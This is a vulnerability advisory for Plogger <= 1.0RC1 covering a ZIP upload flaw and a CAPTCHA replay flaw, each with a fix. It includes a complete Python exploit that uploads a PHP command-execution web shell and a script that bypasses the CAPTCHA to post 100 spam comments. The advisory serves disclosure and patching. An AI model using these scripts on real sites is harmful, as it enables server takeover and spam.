Multiple vulnerabilities in Plogger <= 1.0RC1

Description

An arbitrary file upload vulnerability and a CAPTCHA bypass vulnerability have been identified in Plogger <= 1.0 RC1.

Arbitrary File Upload

Plogger does not correctly handle ZIP files uploaded by an authenticated user and allow an attacker to upload a backdoor file in an accessible folder.

Access Vector: remote

Security Risk: medium

Vulnerability: CWE-434

CVE-ID: CVE-2014-2223

Proof of Concept

- Create a ZIP file containing a valid image and a *backdoor.php* PHP script
- Upload your ZIP file with Plogger upload feature
- Browse http://<host>/plog-content/uploads/archive/backdoor.php, and voila

Here is a sample code automating the whole process:

```
#!/usr/bin/env python

import requests
import zipfile
import zlib
import commands
import time
import os
import hashlib

HOST = '<your host here>'
MAGIC = hashlib.sha1(time.asctime()).hexdigest()

session = requests.session()

print "Log in "
username = '<username>'
password = '<password>'

session.post('http://' + HOST + "/plog-admin/plog-upload.php", data={
    "plog_username": username,
    "plog_password": password,
    "action": "log_in"
})

print "Creating poisoned gift"
## Write the backdoor
backdoor = open(MAGIC + '.php', 'w+', buffering = 0)
```

```
backdoor.write("<?php system($_GET['cmd']) ?>")
backdoor.close

## Add true image file to block the race condition (mandatory not null)
image = open(MAGIC + '.png', 'w+', buffering = 0)
image.write('A')
image.close

gift = zipfile.ZipFile(MAGIC + '.zip', mode = 'w')
gift.write(MAGIC + '.php')
gift.write(MAGIC + '.png')
gift.close

os.remove(MAGIC + '.php')
os.remove(MAGIC + '.png')

gift = open(MAGIC + '.zip', 'rb')
files= { "userfile": ("archive.zip", gift)}
session.post('http://' + HOST + '/plog-admin/plog-upload.php', files=files,
    data = {
        "destination_radio":"existing",
        "albums_menu" : "1",
        "new_album_name":"",
        "collections_menu":"1",
        "upload":"Upload"
})

print 'Here we go !! ==> http://' + HOST + '/plog-content/uploads/archive/' + MAGIC + '.php'
```

Vulnerable code

The vulnerable code is located in *plog-admin/plog-upload.php*, lines 59 to 68.

Solution

Extract archives files inside a dedicated folder that is not available from the browser (outside document root directory).

CAPTCHA Bypass

Plogger theme Lucid implements a CAPTCHA, but this implementation is prone to a replay attack. The script generating the CAPTCHA image inserts a code in the current user session, but this value is not unset while processing the form, thus allowing an attacker to submit multiple times the form with always the same captcha and associated code.

Access Vector: remote

Security Risk: medium

Vulnerability: CWE-804

CVE-ID: CVE-2014-2224

Proof of Concept

Here is a small proof of concept written in Python able to post a hundred comments on an existing image.

```
#!/usr/bin/python

"""
Plogger comment spammer tool - PoC
"""
```

```
import sys
import re
import requests
from subprocess import Popen

def get_comment_token(url, pid, phpsess = None):
    """
    Retrieve a comment token for the given picture id
    """
    if phpsess is None:
        response = requests.get('http://%s/index.php?level=picture&id=%d' % (url, pid))
        phpsess = dict(response.cookies)['PHPSESSID']
    else:
        response = requests.get(
            'http://%s/index.php?level=picture&id=%d' % (url, pid),
            cookies = {
                'PHPSESSID':phpsess
            }
        )
    return (phpsess, re.search(
        'name="plogger-token"\s+value="([0-9a-f]+)"',
        response.text
    ).group(1))

def get_captcha(url, phpsess):
    """
    Retrieve the captcha
    """
    print '[i] Retrieving capthca ...'
    img = requests.get(
        'http://%s/plog-includes/plog-captcha.php' % url,
        cookies = {
            'PHPSESSID':phpsess,
        }
    ).content
    open('captcha.png','wb').write(img)
    print '[i] Captcha saved to "captcha.png".\nSolve it and enter code:'
    Popen(['gimp','captcha.png'])
    code = raw_input()
    print 'code is <%s>' % code
    if code is not None:
        return code

def send_comment(url, pid, code, token, phpsess):
    requests.post(
        'http://%s/plog-comment.php' % url,
        data = {
            'author':'HappyPwn3r',
            'parent':pid,
            'redirect':'/index.php?level=picture&id=%d'%pid,
            'plogger-token':token,
            'email':'pwn3r@gmail.com',
            'url':'',
            'captcha':code,
            'comment':'Good captcha, uh ?'
```

```
        }, cookies = {
            'PHPSESSID':phpsess,
        })

def spam_comments(url, pid):
```

```
    phpsess, token = get_comment_token(url, pid)
    code = get_captcha(url, phpsess)
    print '[i] Sending 100 comments to picture id %d ...' % pid
    for i in range(100):
        send_comment(url, pid, code, token, phpsess)
        phpsess, token = get_comment_token(url, pid, phpsess)
    print '[i] Done =)'

if __name__ == '__main__':
    if len(sys.argv) == 3:
        host = sys.argv[1]
        pid = int(sys.argv[2])
        spam_comments(host, pid)
    else:
        print '[i] Usage: %s [host] [picture id]' % sys.argv[0]
```

Solution

Unset the captcha code in the session array. The vulnerable code is located in *plog-comment.php*, line 106.

Original code below:

```
// If the captcha is required, check it here
if (isset($_SESSION['require_captcha']) && $_SESSION['require_captcha'] === true) {
    if (!isset($_POST['captcha']) || !isset($_SESSION['captcha']) || $_POST['captcha'] != $_SESSION['captcha']) {
        $errors[] = plog_tr('CAPTCHA check failed.');
            $error_field[] = 'captcha';
    }
}
```

Fixed code below:

```
// If the captcha is required, check it here
if (isset($_SESSION['require_captcha']) && $_SESSION['require_captcha'] === true) {
    if (!isset($_POST['captcha']) || !isset($_SESSION['captcha']) || $_POST['captcha'] != $_SESSION['captcha']) {
        $errors[] = plog_tr('CAPTCHA check failed.');
            $error_field[] = 'captcha';
    }

    /* FIX */
    unset($_SESSION['captcha']);
}
```

Affected versions

- Plogger <= 1.0 RC1

Credits

- Bastien FAURE, Sysdream (b.faure -at- sysdream -dot- com)
- Damien CAUQUIL, Sysdream (d.cauquil -at- sysdream -dot- com)

Contact

- Website: http://www.sysdream.com
- Twitter: @sysdream